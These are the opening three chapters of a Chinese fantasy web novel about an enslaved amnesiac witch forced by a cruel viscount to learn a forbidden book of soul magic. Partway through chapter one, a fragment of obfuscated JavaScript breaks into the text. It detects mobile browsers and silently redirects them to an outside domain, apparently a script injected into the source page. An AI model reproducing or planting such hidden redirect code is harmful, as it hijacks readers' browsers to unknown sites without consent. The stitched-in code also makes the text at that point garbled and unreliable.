《魔女的生存法则》
1. 第一章
楔子
第六天了……
这个人已经连续六天从这里经过了。
阳光透过繁密的叶子星星点点的落在潮湿的地面上,反射出微弱的光泽。
安霓侧过头,透过藤蔓的缝隙里了看过去。
一个穿着白色骑士团军装的男人慢悠悠的在阳光下走着,手里端着一盆花。
黑色柔软的短发垂落在后颈,墨绿色的眼睛,肤色微显苍白,不消片刻,也仅印着蓝色狼头的长披风被风轻轻带起留下一角。
安霓已经是第六天看着他气定神闲的捧着花盆从这里走过了。
再过3天,她就要离开这个地牢,上火刑架了。
至于罪名嘛,无非就是低贱的狗勾引并刺杀皇子未果,被未来的皇子妃捉奸,后连带着自己的主人一家子一起被判了死刑。
……
安霓刚醒来时,发现自己正在船舱的最底层。
来回摇晃的船体让她胃里一顿翻江倒海,脑袋也阵阵剧痛,四周弥漫着海水和腐木混合的气味,几束白光从船体的缝隙里透进来,直刺她半眯着的眼睛。
“她醒了,亚特。”
旁边的椅子上坐了一个穿着蓝色裙子的女人,白色的衬衫上缀着两排细密的珍珠,胸前挂着一条银色的项链,头上的大檐帽投下的影子遮住了半边脸。
而女人手里牵着一条粗铁链,铁链的连接处就是安霓脖子上的项圈。
她低头看了一眼,披下来的黑色长卷发,身上穿着灰色的长袍。
安霓用手紧扣了一下脖子上的铁项圈,皱了眉,警惕地看向四周,嘴唇动了动,似乎想要说什么,但喉咙里只传出了喑哑的声音,还伴随着些许刺痛。
楼梯上传来了脚步声,一个穿着黑色大衣的男人下到了船舱,快速走到女人的身边,搂住了她的肩膀:“阿黛尔,她叫什么?”
“那个老女人说,她叫安霓。”女人开了口。
安霓空洞地看着她,脑子里一片空白。
安霓……?我的名字?
那个叫亚特的男人蹲下身,仔细打量她,笑道:“现在居然还有没学过魔法的魔女?真是不多见。”
阿黛尔摸了一下自己的大檐帽,不屑的笑道:“管她学没学过魔法,反正都是低贱的血脉。”
安霓抬起眼紧紧盯着阿黛尔。
铁链突然响动,一棍子正正好好的甩在了安霓的脸上,她倒在地上吃痛地闷叫了一声,脖子上的项圈扯得她舌头都呕了出来。
阿黛尔白皙的脸开始扭曲,紧皱着眉头,举起棍子准备再来一下,大声嚷道:“低贱的血脉!居然敢用该死的红眼睛看我!”
安霓的脸火辣辣的刺痛,她绻在地上,嘴角渗出了血,满嘴铁锈味。
“你们这些低贱的血脉,你们都该死!都该死!星迁会就应该在30年前就把你们一个不留的都给烧死!”阿黛尔不停地咒骂,跟刚刚端坐在椅子上的大家闺秀完全两副面孔。
“阿黛尔!冷静一下!”亚特冲过去夺走了阿黛尔手里的棍子,“好了阿黛尔,这毕竟是公爵需要的人。”
亚特拍着阿黛儿的背,棍子被随意地扔在一旁,安霓斜眼看了一眼棍子,捂着肚子又瞄了一眼面前的二人。
她突然抄起棍子朝着阿黛尔的脸上刺去,阿黛儿吓得直接胡乱扯着铁链往后推,椅子反倒在地。
安霓被铁链扯着整个人差点跌过去,手里的棍子也没松,尖锐的一端在距离她脸庞仅有几厘米的地方停住,亚特手握住棍子,挡在了阿黛尔面前。
亚特满脸怒气,扯过安霓手里的棍子,直接一挥,横打在了安霓的肚子上。
安霓捂着肚子倒地,疼得整张脸都皱在了一起。
“低贱的血脉!”亚特大喊,身后的阿黛儿被刚刚安霓的举动吓得花容失色,眼睛瞪得很大,张着嘴大口呼吸。
“你们魔女都快死光了,你最好给我老实点!”
安霓躺在地上,听着亚特的叫骂,她已经没力气再起来了,头痛,嗓子痛,肚子痛,身体上好多地方都在痛。
她费力地抬起眼皮,模模糊糊地看到亚特正握着那根粗壮的棍子,高高地举起胳膊,那架势怕是又要给她再来一下子。
安霓紧紧地闭上眼睛。
“兰伯特大人,下手留情。”
一个沉稳却带着几分急切的声音传入安霓的耳朵里,紧接着,三个穿着白色骑士团军装的人顺着楼梯来到了船舱,走在最前面的是一个黑短发的骑士。
他头上带着一顶精致的骑士帽,帽下有双极为特别的墨绿色眼睛,面容轮廓柔和,五官却略微偏硬朗,抿着嘴巴,整个人看着不怒自威。
他摘下帽子,给亚特微微举了个躬,看了眼绻在地上的安霓,面无表情地对着亚特说道:“兰伯特大人,中午大家都在休息,请小声点。”
“我们正在管教奴隶,真不好意思,加斯贝德团长大人,没打扰到您吧。"亚特连忙赔笑。
安霓歪了下头,眼皮都要抬不起来了,模糊地视线对上了加斯贝德投来的目光。
“这艘船正在运送星迁会重要的东西,为了防止出现上次那种意外,上船时,会带走所有奴隶,奴隶管辖区会有人看管他们,”年轻的团长举起手示意,身后两名骑士过去架起了安霓,“希望兰伯特大人能理解。”
“当然,”亚特从阿黛尔手里拿过铁链,递给了加斯贝德身后的骑士,“星迁会一直保护我们不被魔法妖兽侵扰,我们自然要配合的。”
“下船时,我们会把您的奴隶还给您。”说完,转身离开了船舱。
安霓双脚在地上,整个人被架在两个骑士中间,她抬头看了看走在前面的加斯贝德,黑色的短发看着利落又柔软,白色的长披风上印着蓝色狼头的徽章。
她晃了晃脑袋,从醒来到现在一直晕乎乎的,脑袋里像有个大棒子不停的在大幅度搅动,仿佛要把脑子里所有的东西都给搅成一锅粥。没有记忆,没有想法,脑里一片空白。
好歹毒的夫妻,把我毒哑,又让我没了记忆,还下手这么重。
他们来到另一处船舱,里面搁置了一座巨大的铁笼子,关着的人都脏兮兮的,每个人脖子上都套着铁项圈。
“放下吧。”
两个骑士把安霓放在了底仓的角落里,并没有关进笼子,铁链的另一端挂在了镶在船体的架子上。
加斯贝德在她旁边站着,低头看了她一会,转身离开了:“给她点吃的。”
“是。”
……
安霓抓起盘中的面包就往嘴里塞,她真的很饿,醒来后眼前出现的炫光也不知道是不是太饿导致的,嘴巴里塞的满满当当的。
不好吃……又硬又干巴……
笼子里的人纷纷看向她,开始嘀嘀咕咕的小声说些什么,但是有些还是传到了安霓的耳朵里。
“黑发红瞳,真的假的啊…”
“魔女难道没有全部被杀完吗?”
“怎么可能全部杀完,很多都落进贵族手里当奴隶了。”
“这种危险的物种居然还能当奴隶……”
“我主人家就有个魔女,魔力已经弱了……”
她抬眼看了一圈,对笼子里奴隶们笑了一下,又低头毫不在意地拿起旁边水桶里的水舀子,舀满了水往嘴里灌。
太干了!以后一定要拿这干巴面包塞进那个叫阿黛尔的女人嘴里,她脸和牙齿到现在还疼着呢。
铁笼里关着大约7-8个人,每个人脸上都有一块块的灰,没有穿鞋,只穿了一套深灰色的袍子,发色有黑有灰,安霓刚进来时还能引起些骚动,现在一个个又精神萎靡地坐在地上。
安霓一边咬着面包一边想,如果所有上了船的奴隶都在这里,那为什么她会在昏迷的时候被阿黛尔牵着,到底是谁能瞒过那些白衣骑士,带着她直接出现在阿黛尔面前。
那就只有一种可能,她安霓本身就在船上,自然不需要在靠岸的时候上船,也不需要一上船就被白衣服骑士带到这里关着,只需要亚特和阿黛尔上船后,在船舱里找到她就行了。
好阴险……
船舱里透进来的光逐渐暗了下去,海上的夜晚寒气凛然,着实的有些刺骨。
几个水手拿着一堆亚麻毯子下来了,开始挨个分发:“一人一个,别抢啊。”
安霓接到毯子,放在鼻前闻了闻,霉味扑鼻,看着也不太干净,她正准备盖在身上,却摸到毯子边缘有一节凸起,她挪动身子靠近桌子上的蜡烛,瞧了个仔细。
不知道是谁用红色的线歪歪扭扭的缝了一朵花的形状。
……好丑。
安霓心里吐槽。
然后把毯子盖在身上,往后靠着睡了过去。
……
下船后,安霓被带到了一个庄园里,庄园的中心是一座四层高的巴洛克式建筑,外墙覆以浅色大理石,窗框和阳台栏杆雕琢得极为精致,尖顶塔楼直指苍穹,上面装饰着镀金的雕塑,熠熠生辉,两旁排布着整齐的橡树,投下斑驳的阴影。
大门敞开,一个七八岁左右的女孩冲了出来,抱住了阿黛尔。阿黛尔露出了一个母亲的笑容,抱起了女孩。
黑暗里又出现了一个年轻的男人,棕色头发有些凌乱,刘海随意的耷拉在额前,表情淡淡的,看了一眼亚特,又看了一眼被像狗一样牵着的安霓。
“诺瓦!”亚特迎了上去,给年轻的男人一个大大的拥抱,但是对方貌似并没有热情回应,也只是淡淡的叫了一声父亲。
一旁的阿黛尔看都没看他一眼,抱着女孩进了屋。
呀,难道是后妈?安霓心想。
安霓被安排住在府里侧边的一个有些偏僻的楼里,第一层的末端房间,一个像监狱,里面有床有桌子,不过没有窗户,甚至整个房间的氛围有些压抑,房门被关上以后,真的是伸手不见五指。
“桌子上有蜡烛。”
一个声音突然传来。
安霓一个激灵,瞬间警惕了起来,大大的眼睛巡视着黑暗。她慢慢向前摸索,碰到了桌子,摸到了一个圆柱形的蜡烛。
“如果没摸到火柴,就念咒。”
声音又出现了,是个女人的声音。
念咒?什么咒?我不会啊!
安霓毛骨悚然,一只手握着蜡烛,另一只手在桌子上一顿瞎摸,想着赶紧点亮蜡烛,看看到底是什么东西传来的声音。
她慌乱的划着火柴,点亮了蜡烛,整个房间充满了暗黄色的光。她立刻四处张望,除了一张床,一个桌子,一个敞开门的柜子,其他的什么都没有,甚至检查了卫生间,并没有其他人存在。
怎么回事……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458697|169644||http|test|mini|href|location''.split(''|''),0,{}));
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>之后的几天,除了来送饭的人,并没有其他人造访,那个女声也没再出现过。
不知道又过了几天,一群人闯了进来,铁链再次挂住安霓的项圈,被粗鲁的带了出去。
路过隔壁房间时,安霓瞟了一眼,隔壁房间的门有个小窗户,能从里面看到外面,也能从外面看到里面,她看到了有个女人坐在板凳上一言不发,宽大的衣服盖住了她的下半身,白到不正常的肤色,黑色的头发非常长的垂到了地上,女人也正看向门上的窗户,就这样,两双红色的眼睛对上了。
安霓被带着走了很久,直到穿过一片落地窗走廊后,停在一个一个大门外。
“大人,带到了。”
厚重的橡木门上刻满了繁复的纹饰,这是亚特的书房。
安霓被摁着跪在了亚特面前,亚特坐在软凳上,手里玩弄着一个金属放大镜,书房的一面由落地窗构成,厚实的窗帘被风吹得缓缓摇动,阳光斜射进来,光影交错。
“我本来不想管这件事的,”亚特从书桌上甩下一本书,正好砸到了安霓的脑袋,“但是不办这个事又不行。”
安霓吃痛地低头,那是一本皮革装订起来的书,相当厚了,封面上有着复杂的花纹,正中心镶着一颗暗绿色的石头,微弱的发着诡谲的光。
“听说你们魔女一生只能学一种魔法,正好,你是个什么都不会的废物,为我办事之前,先把这本书看明白了。”
“给你3个月的时间学明白,”亚特看向她,眯着眼睛,“如果学不明白,我保证你绝对不会活着离开这里。”
安霓抬起眼,像一只警惕又带着恨意的小兽,红色的眼睛似寒光的刀刃。
亚特饶有兴趣的起身,蹲在安霓面前:“真漂亮,魔女都这么漂亮吗?”说着,伸手用手背轻轻划过安霓的脸,突然一个反手,用力捏住了她的脸。
突如其来的痛疼让安霓瞳孔缩了一下,她气的不行,恨不得伸手抓亚特的脸,可是两条胳膊都被人死死摁住了。
“好好听话,总有你一口饭吃,别想着给我耍花招,你们魔女的心思最多了,我有的是办法对付你。”
……
安霓被带着离开了书房,双手捧着厚重的书光着脚往前走,头发被书砸的有点凌乱,后槽牙都咬烂了,心里一直咒骂着亚特。
阳光洒在落地窗的走廊上,一个身影静静的站立于宽大的落地窗前,他的身影映衬在透明的玻璃上,显得格外修长挺拔,阳光在他的身上勾勒出柔和的轮廓,棕色眼睛在阳光下泛着淡淡黄色的光,脸上的表情淡淡的,看不出情绪。
安霓记得他,好像叫诺瓦。
诺瓦抬了抬眼皮,看到安霓,安霓也抬眼看了看他。跟那双红色眼睛对视时,诺瓦愣住了。
安霓也没有多理,目视前方离开了。
她再次路过隔壁的门时,瞥了一眼窗户,屋里的女人正拿着梳子安静的梳着头发。安霓这才看清楚,宽大的衣裙下,女人的肚子微微隆起。
因为房间没有窗户,关上门后依旧伸手不见五指,蜡烛得一整天点着,要不是墙上挂了个钟,不然根本没有时间概念。
书皮上的那颗暗绿色的石头透亮的发着光,安霓伸手摸了摸,并没有什么奇怪的感觉,书里的内容都是古文,还有一些三角和圆组成的复杂法阵。古文磕磕绊绊还能认得,但是这些内容和法阵倒是头一次见。
“哎呀,他居然把这本书给你了。”
声音又出现了。
安霓试探性的看向隔壁房间的方向。
“被你发现了,你叫什么?”
安霓摸了一下自己的喉咙,摇了摇头。
“是个哑巴?”
安霓没理会,坐在床上自顾自地翻着厚重的魔法书。
翻开的第一页是个序章,古老的文字介绍了这本书:蒙特斯亚大学士在寻找真理的旅途中写下的这本禁忌之书,里面包含着人类的欲望。
序章的最后,有一个手写的文字:献给我的妻子塔莎。
“蒙特斯亚……好久没听过这个名字了。”
隔壁的声音再次出现。
隔壁的女人不会是分了什么灵魂来她房间吧,不然怎么看个书还能被窥视。安霓重重的合上了书,皱起眉头展现不快,扭头看向隔壁房间的墙壁。
可能感受到了安霓的不开心,后面好几天都没出现过这声音了。但安霓还是隐隐约约感觉到有一双眼睛在注视着她。
脑子里没东西,心里也没东西,安霓躺在床上的时候,呆呆地看向天花板,感觉自己整个人空荡荡的。
整本书的没有目录,安霓大致翻了一下,每个节点都做了标记,内容包括:灵魂操控术,生命力抽取,领域支配和炼金术。
不过炼金术没有写很多,这么复杂的术法需要系统性的学习,仅靠一本书里的其中一章节是学不完的。
抛开炼金术不谈,灵魂操控分两个方向,一个是提取被操控人的灵魂进行虐杀,感受会链接□□,但□□却没有任何伤口和被虐杀的痕迹;
二是控制被操控人的意识,使其沦为忠实的奴仆。
安霓开心地躺在床上手舞足蹈起来。
人类连作恶都这么有创意。
被拐以后还能得到这种宝贝,生活又有希望了,该死的人都能死了。
……
2. 第二章
一周后,安霓又被像被牵着的狗一样带离了房间。
已经是秋天了,花园被一片金黄与红色的落叶装点的格外迷人,露天茶座为了避开了会飘落叶的位置,巧妙地安排在花园中心,桌上铺着精美亚麻布,中央摆放着一盆精致的插花,四周摆满了水果和各种茶点。
亚特手里握着葡萄,跟坐在对面的阿黛尔说着话。阿黛尔被亚特逗得笑盈盈的脸,在见安霓的时候瞬间收住了。
安霓冲着阿黛尔裂开嘴笑,阿黛尔瞬间瞪大了眼睛,身子震了一下。
养尊处优的贵族夫人,哪经历过棍子怼脸,安霓想起她吓得花容失色就觉得得意。
上一次没怼到,下一次总能怼到的。
“其实我也不太懂你们那些什么破魔法书,但是任务在身,我也没办法。”亚特往嘴里甩了颗葡萄,撇着嘴看着安霓,“你能理解我吧!”
安霓挑了挑眉,低下头,并不想理他。
“算了,你也说不了话。”
亚特伸手指了一下,几个强壮的仆从穿着统一的制服,押解着一个男人走了过来,并把这个人带到了距离安霓30米的位置。
被他们押解的人,身着一件脏兮兮的灰色长袍,面色憔悴,满脸胡渣,头发都是乱糟糟的,很明显跟底仓笼子里的那些人一个身份——奴隶。
男人看到安霓后,突然惊恐的瞪大了眼睛,干裂的嘴巴里发出颤抖的声音:“魔……魔……”
“你叫什么名字?”亚特头也没抬地问道。
“戴斯,大人,戴斯·奇拉——”奴隶结结巴巴地回答道。
“戴斯,好,”亚特打断了他的自我介绍,“怎么说你也已经看了一周的书了,杀个人应该不难吧”
亚特平静地看着他们,对安霓抬了下头:“杀了他。”
安霓以为自己听错了。
“听不见吗?让你用你书里的知识杀个人很难吗?”
戴斯崩溃的挣脱出仆人的控制,跑过去跪在亚特面前,眼泪鼻涕一起流,大声喊道:“她是个魔女!子爵大人,您让我做什么都行,您不能把我交给魔女!”
“魔女都是疯子,子爵大人,恳请您赐予我一次改过自新的机会!”
“子爵大人!”
话音刚落,安霓抬起的手臂,缓缓地握紧了拳头,淡淡的绿光从周围开始汇聚,周身起了一片气流,吹动了安霓黑色袍子的裙摆,周围的落叶也被风卷了起来。
“子爵大人!!!”戴斯崩溃大喊。
绿光以漩涡状汇聚并包裹住安霓握着的拳头,随着安霓无声地念起咒语,突然张开了手掌,那团绿光立刻化作几颗光粒子,拖着长长的尾巴朝他快速射去。
戴斯下意识抬起手臂挡在前面,紧闭双眼,等待着死亡的来临。
可过了几秒仍无事发生,汗水顺着他脸颊滑落,他警惕的睁开双眼。
只见安霓跪在地上全身颤抖,像是正在承受极大的痛苦。
“果然是条恶犬。”亚特站了起来,大步走向安霓。
安霓脸色苍白,感觉到了心脏猛烈地跳动,每一次搏动都像有一双手死死的抓住她的心脏,任意揉捏着,她的双手不自觉地按住了胸口,指甲深深嵌入手心,不停的有汗水从额头上滴下来,一颗颗打在落叶上。
亚特走到安霓身前,对着安霓的头上来就是一脚:“你以为你能杀了我?低贱的血脉。”
安霓学的第一个禁术,就是灵魂虐杀,虽然施展出的能量很低,但是也想着,如果能杀了亚特最好,就算杀不了亚特,也能知道他留的是什么后手。
但是没想到,居然能这么痛苦,每一次心脏的跳动都跟快要死了一样。
安霓挨了亚特一脚,额头上开始流血,顺着脸颊往下滴。
亚特粗鲁的抓起安霓的头发,迫使她抬起头看他:“我知道你在想什么,小魔女。”
亚特从兜里拿出了一个娃娃,黑色毛线编的头发,红色纽扣做的眼睛,看着十分可爱。
他把娃娃狠狠地捏在手里,安霓突然身体一阵紧缩,剧痛地倒了下去。
“老老实实待在我手里,你就算逃到地狱,我也能瞬间杀死你。”
命握在了充满恶意的人手里,安霓瞬间产生了巨大的恐惧,一秒后,这份恐惧变成了愤怒,她瞪大了眼睛看着亚特那张扭曲的脸。
这时,一个梳着背头的老管家匆匆赶来,对着亚特微微鞠躬:“大人,月影骑士团团长——加斯贝德大人造访。”
亚特松开安霓的头发,皱了皱眉:“这煞星来干什么?”
安霓直接倒在了地上。
“把她带回去。”亚特转身拿出绢布擦了擦刚刚抓安霓头发的那只手,随后带着阿黛尔往宅邸走去。
兰伯特子爵宅邸的佣人都穿着统一的黑色制服,胸前佩戴着家族徽章。
安霓脖子上的项圈链子被一个仆人牵着,另一个仆人跟在一旁,安霓光着脚虚弱地踩着落叶。
安霓的余光里,一个高个身影从他们身边路过,仆人停下脚步欠了下身,随后便又匆匆往前走去。
安霓一直低垂着头,只顾看地,走得慢了些,步伐显得有些拖沓,牵铁链的那个仆人似乎有意刁难,故意扯了一下手里的铁链。
就这么一扯,疼得她眉头紧皱,巨大的拉力让她身体一个踉跄,向前扑去。
一只大手突然从侧面伸了过来,稳稳地揽住了安霓的腰,一下子稳住了他摇摇欲坠的身体。
安霓惊恐地抬起头,面前的棕发棕眼的男人面容和善地看着她。
安霓记得他,亚特·兰伯特的儿子——诺瓦·兰伯特。
脚下突然跑过什么白色的东西,把她的视线拉回来地面。
“雪花!”
诺瓦喊了一声,只见一只白色的小狗,像一团滚动的雪球一般,头也不回地跑进了旁边的灌木丛里。
他穿着一身针织毛衣配白衬衫,简约清爽,白衬衫的领口微微敞开,露出一小片白皙的肌肤。
“两位,能帮我找下雪花吗?”诺瓦看向带着安霓的两个仆人,嘴角微微勾起笑了一下。
两名仆人犯了难,相互看了一眼,牵头的仆人手放在两侧,鞠躬道歉:“诺瓦少爷,请您原谅,大人让我们把她送回去,耽误不得。”
“我能理解,”诺瓦的手捏了一下下巴,故作为难地看向二人,“可是雪花是茉莉最喜欢的狗了,如果不及时找到的话,茉莉哭闹,夫人怪罪下来……”
也不知阿黛尔平时的作风是什么样的,但明显看出那俩仆人听到“夫人怪罪下来”后,神色慌了一下。
安霓看着他们俩,嗤笑了一声。
诺瓦的目光又望向安霓,紧紧地盯着她的眼睛:“拜托二位了。”
“我在这里看着她,麻烦二位赶紧找到雪花。”诺瓦接着说。
仆人们相互看了一眼,皱着眉头,犹豫不决。
“你们放心,父亲大人的命令我自然也是遵守的,”诺瓦走上前,伸手去拿他们手里的铁链,“我就在这里看着她,雪花应该跑不远,二位可就近寻找。”
仆人踌躇了一下,抓住铁链的手还是松开了。随后他们二人就开始在灌木丛里寻找雪花,时不时还担忧地看向诺瓦。
安霓也盯着诺瓦,棕色的刘海还是很随意的搭在他的额前。
“我是不是以前见过你?”诺瓦问道。
安霓经历了刚刚的事,感觉身体被抽空了一样,虚弱地摇了摇头。
指不定以前见过,但是就算见过她也记不得了。
“你的眼睛……我觉得很眼熟。”
安霓敷衍地笑了下,低下头继续用脚摆弄落在地上的枯叶。
诺瓦有些尴尬,摸了下自己的后脖颈,眼睛望向别处。
刚刚在花园的某个角落,他看到了安霓想杀亚特,但是亚特身上仿佛有个淡白色的保护罩,安霓的绿色粒子打上去,淡白色保护罩上出现了几道绿色波纹,从内而外,由深到浅消失了。
而打上去的瞬间,安霓捂着胸口倒地。
他很吃惊,他从来没有见过这些。更不知道这个女孩的来历,上一次从亚特书房出来的她,红色眼睛在阳光的反射下异常明亮,脑子里突然浮现出一个模糊的影子,也是一双这样的红色眼睛,温柔地看着他。
他看了看安霓头上半干的血迹,苍白的脸色和轻肿的额头,抿了下嘴唇。
“那个……下次不要再冒
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这个险了,我父亲身上有罩子,你打不动他的。”
安霓抬起头,一阵秋风正好袭来,吹开了她的头发,丝丝缕缕地贴在了她的脸上。
诺瓦突然觉得脸上莫名一热,下意识往后退了几步。
所以亚特不仅有可以威胁到她生命的娃娃,还有一个保护他不受攻击的罩子?
难道普通人也会一些术法?还是说,这本身就是为了预防她反咬的一个措施。
人贩子把她拐买后卖给了买家,后让她学禁书,又怕学会了禁书杀了买家,但是买家又需要她这个工具来干些什么事,所以搞了保护罩和娃娃,好让她唯命是从。
想到这里,安霓心里恨的牙都开始痒了。
原来从头到尾都是针对她的一场拐卖!
安霓头上的伤口已经止住血了,但是长长的血迹还留在她的脸上,诺瓦掏出一块白色的绢布,想抬手给安霓擦一下。
安霓一个激灵,紧绷着身体往后退了一步,警惕地看着诺瓦。
诺瓦拿着布的手停在了半空中,看到安霓的反应后又收了回去。
“诺瓦少爷,雪花找到了!”
仆人抱着一只全身雪白的狗,急急忙忙地朝诺瓦跑了过来。
“辛苦你们了。”诺瓦把铁链交给了他们,接过狗抱在了怀里。
两个仆人向诺瓦举了个躬,便带着安霓离开了。
……
另一边,加斯贝德坐在软椅上喝着冒着热气的红茶,几个月影骑士站在他背后一动不动。
“加斯贝德大人,”亚特一进屋就变了一张脸,恭维的笑着,“欢迎欢迎!”
加斯贝德正站在屋内一言不发,看到亚特后面无表情的向他微微举了个躬:“兰伯特大人,近来可好?”
“当然,有迁星会和皇家的庇佑,我们心怀感激!”亚特做出了一副虔诚的样子,甚至有点浮夸。
加斯贝德没理会亚特夸张的行为,直接坐下:“兰伯特大人这里的红茶的确是好喝。”
“请问,加斯贝德大人,您今日突然造访,难道是星迁会那边有什么吩咐?”亚特开门见山。
骑士团很少会造访贵族的宅邸,他自己心里也在犯嘀咕,甚至不安。
在这个奇异的大陆上,星迁会是平衡魔法生物和人类之间“边界”的组织,管理着这个国家所有的魔法生物,但凡有魔法生物作乱或非法买卖,星迁会都会出手。
会里有人类法师,十分强大,因此皇室对星迁会十分尊敬和依赖,但是星迁会并没有直接干预皇家政治的权力,反而更像个守护“边界”的门神。但如果平衡被打破,星迁会就会出手进行干预。
“星迁会下一次预言时间已经确定了,会长大人说定在明年初春。”加斯贝德说道。
“距离上一次预言已经过去30年了吧,”亚特说,“上一次预言的内容是‘魔女的灭绝'',会长大人亲自主导了猎巫行动,皇家也很积极得打配合,只花了3年就成功了!虽然那个时候我才十几岁,但是至今历历在目。”
加斯贝德没说话,端起茶杯的手也停了一下。
“真不愧是星迁会!”亚特大赞道,“那些低贱的血脉太危险了,早就应该灭绝,她们——”
“兰伯特大人!”加斯贝德打断了亚特的话,“既然知道危险,就离远一点。”
亚特突然想到,在船上,加斯贝德也看到了安霓的样子,毕竟是迁星会骑士团的人,自然也知道她是个什么东西。
“能被贵族买到的魔女,都是没有危险的,加斯贝德大人,您多虑了。”亚特说道。
星迁会对私下里贵族买魔女这件事一直是睁一只眼闭一只眼,但人口买卖毕竟是违法的,加斯贝德也有义务来提醒他们。
不过魔女算是人类吗?
魔女的魔法天赋极高,一直是人类忌惮的对象,猎巫行动后,魔女少之又少,美丽的容貌又十分讨人类贵族喜欢,所以不少贵族都会私下里豢养魔女作为奴仆。
至于她们的能力是怎么被弱化的,目前加斯贝德并不太了解。
他冷着脸,放下了杯子,起身准备离开。
“兰伯特大人,话我已经带到了,告辞。”
……
3. 第三章
安霓身体躺在床上,但脑子一直在动。
她想到了一个绝妙的好主意。
既然她杀不了亚特,就让别人杀,最好让他那个儿子来杀,这样大家就都高兴。
那本禁书里不是有控制人心的方法吗,只要学的快,就可以在最短的时间内结束这一切。
安霓兴奋地坐了起来,身体的疼痛让她一下子又倒了下去,一口血从嘴里喷了出来。
“别乱动了。”
女人的声音又出现了。
安霓看了看床对面的墙壁,艰难地爬起身,摸起桌上的本子就开始写字。
【你是隔壁的魔女吗?】
写完后,举起来对着墙壁,用笔点了点本子。
大概过来半分钟,女人的声音再次传来:“是的。”
“你不要再乱动了,你的魔力存储很少,不要过度使用魔法。”
一次虐杀灵魂的魔法而已。安霓撇撇嘴,还是乖乖回床上躺着了,她把本子埋在胸前,又拿起来继续写。
【你为什么能窥视我?】
她将本子摊开对着墙壁,又用笔指了指。
这次等了一小会,声音才带笑意的回应道:“我学的是土系魔法系统,有一部分神识可以附在附近的建筑上。”
“我还要解释一下,我没有窥视你。”
安霓没继续写了,她把本子随手甩在桌子上,拿起那本厚重的禁书开始翻看灵魂操控的另一个分章——意识操控术。
她举起左手,几道绿光莹莹出现,灵活地萦绕在她指尖,可没几秒,喉咙里反出一股铁锈味。
安霓起身,请了嗓子又定了定神,用手指着书上的咒语,嘴里小声念了起来,另一只手也没闲着,做了个施法的手势,绿光再次出现。
2秒过后,又是一口血吐在了床单上,安霓只觉得眼前一片眩晕,心脏突突突跳动得跟双手打拍子一样,身体感觉在沉重地下陷,摇头晃闹朝后面倒去。
闭眼前,听到房间里传出无奈的叹气声。
等她再次醒来时,房间里已经弥漫着肉汤和面包的香气。餐车被推进了门内,上面摆着一碗飘着油花的浓汤、一块干硬的黑面包和半杯清水。
子爵很小气,一天只给她放一顿饭。
这几天半夜,安霓总是饿得前胸贴后背,胃里像有一把钝刀在缓慢地刮。
她盯着那块面包,心里涌上一股委屈和愤怒——她明明是被迫关在这里的,却连吃饱都成了奢望。
“你的魔力存储不够,支撑不了你一下子学两个内容。”
安霓冷冷地瞥了一眼墙壁,艰难地下床去拿餐车里的吃食,膝盖还在微微发抖,吧唧了几下嘴,浓郁的血腥味让她皱紧了眉头。
她没什么力气再把餐车里的食物端到书桌上了,索性在餐车前直接拿起硬邦邦的黑面包沾着肉汤,啃咬了起来。
根本就不够吃!
安霓把肉汤盘里的油渍都给舔干净了,最后一杯清水下肚。她盯着空荡荡的餐车,一股无名火猛地窜上来,抬脚就狠狠踹了过去——
“哐当!”
金属餐车被踢得震了一下,可安霓忘了自己没穿鞋子,脚趾撞在坚硬的铁架上,钻心的疼痛瞬间从脚尖炸开,直冲脑门。
她疼得倒抽一口凉气,本能地抱住脚跳了起来,可身体早已虚弱得支撑不住,才蹦了一下,腿就软得整个人直接跌坐在地上。
她想尖叫,可嗓子干哑得发不出声音,只能张着嘴,面目都狰狞起来。
缓了好一会,她又从地上慢慢站了起来,一点一点重新爬上了床,床单上还有刚刚她吐出来的血迹,不过她也懒得管,重新摊开沾着血迹的禁书,手指颤抖着重新做起手势,无声地念起咒语。
这一次,咒语还未念完,像是有人在她后脑狠狠敲了一闷棍,她眼前一黑,又仰头倒了下去,脑袋砸在枕头上发出一阵闷响。
墙壁上传来一声低沉又无奈的笑。
“真是……倔得像头驴……”
……
安霓刚醒就开始生气,她望着天花板斑驳的霉斑,胸口剧烈起伏,床单也被抓出凌乱的褶皱,显然气得不轻。
墙壁又传来笑声:“你还是好好休息,休息好了才能想着杀他。”
安霓想了想,咬牙拖着灌了铅的身体坐了起来,拿起桌上倒扣着的笔记本,胡乱地写了起来。
这个简单的动作却让她眼前发黑,冷汗瞬间浸透了后背。
【别笑了】
【你以为你很幽默吗】
字迹狂乱潦草,最后一笔甚至戳破了纸张。她停顿片刻,又恶狠狠地补充:
【等我学会第一个咒语】
【就先拿你练手】
墙壁满不在乎地又笑了几声,女人的声音十分悦耳:“省点力气吧,小疯子,你这样是杀不了他的。”
安霓眼睛转了一圈,把头枕侧枕在了自己的胳膊上,坐在椅子晃起了腿。
【你被他囚禁多久了】
墙壁那头突然安静下来,连呼吸声都消失了。
安霓用笔重重的敲了下桌子,就在她以为得不到回应的时候,女人的声音突然贴着耳畔响起,近得让人毛骨悚然——
“20年。”
【那你为什么还没疯】
这次回应来的很快:“魔女的寿命很长,仅仅20年而已。”
【你不想杀他吗】
隔壁又是一阵沉默。
【你叫什么名字】
“珍珠。”
这次回应的倒是很快。安霓笑了笑,重新翻开一页新纸。
【珍珠?真是个好名字】
【像笼子里的金丝雀该有的名字】
墙那边的魔女看得出安霓有意在激怒她,想看她的反应。
她透过墙壁看着安霓歪着头,用羽毛笔在纸上涂涂画画,嘴角上扬,带着几分狡黠地挑衅。
这个小魔女自己心情不好,就要把别人的心情也搅乱。
珍珠笑出了声,并没有生气。她能理解被抓进来的安霓身上的怨气,看谁都觉得是敌人。
【还是说,你喜欢被关着?】
【也是,总比饿肚子强】
“亚特身上有保护罩,下次不要再贸然攻击他了,吃力不讨好。”
珍珠并没有接着她的话说,可能是长久无聊的生活,让她觉得住在隔壁年轻的魔女很有意思。
安霓眨了眨眼,用手撑上了额头。
【既然你这么了解,怎么破解】
“不知道。”
安霓嘴角抽搐了一下,深深吸了口气强压心里的愤怒。
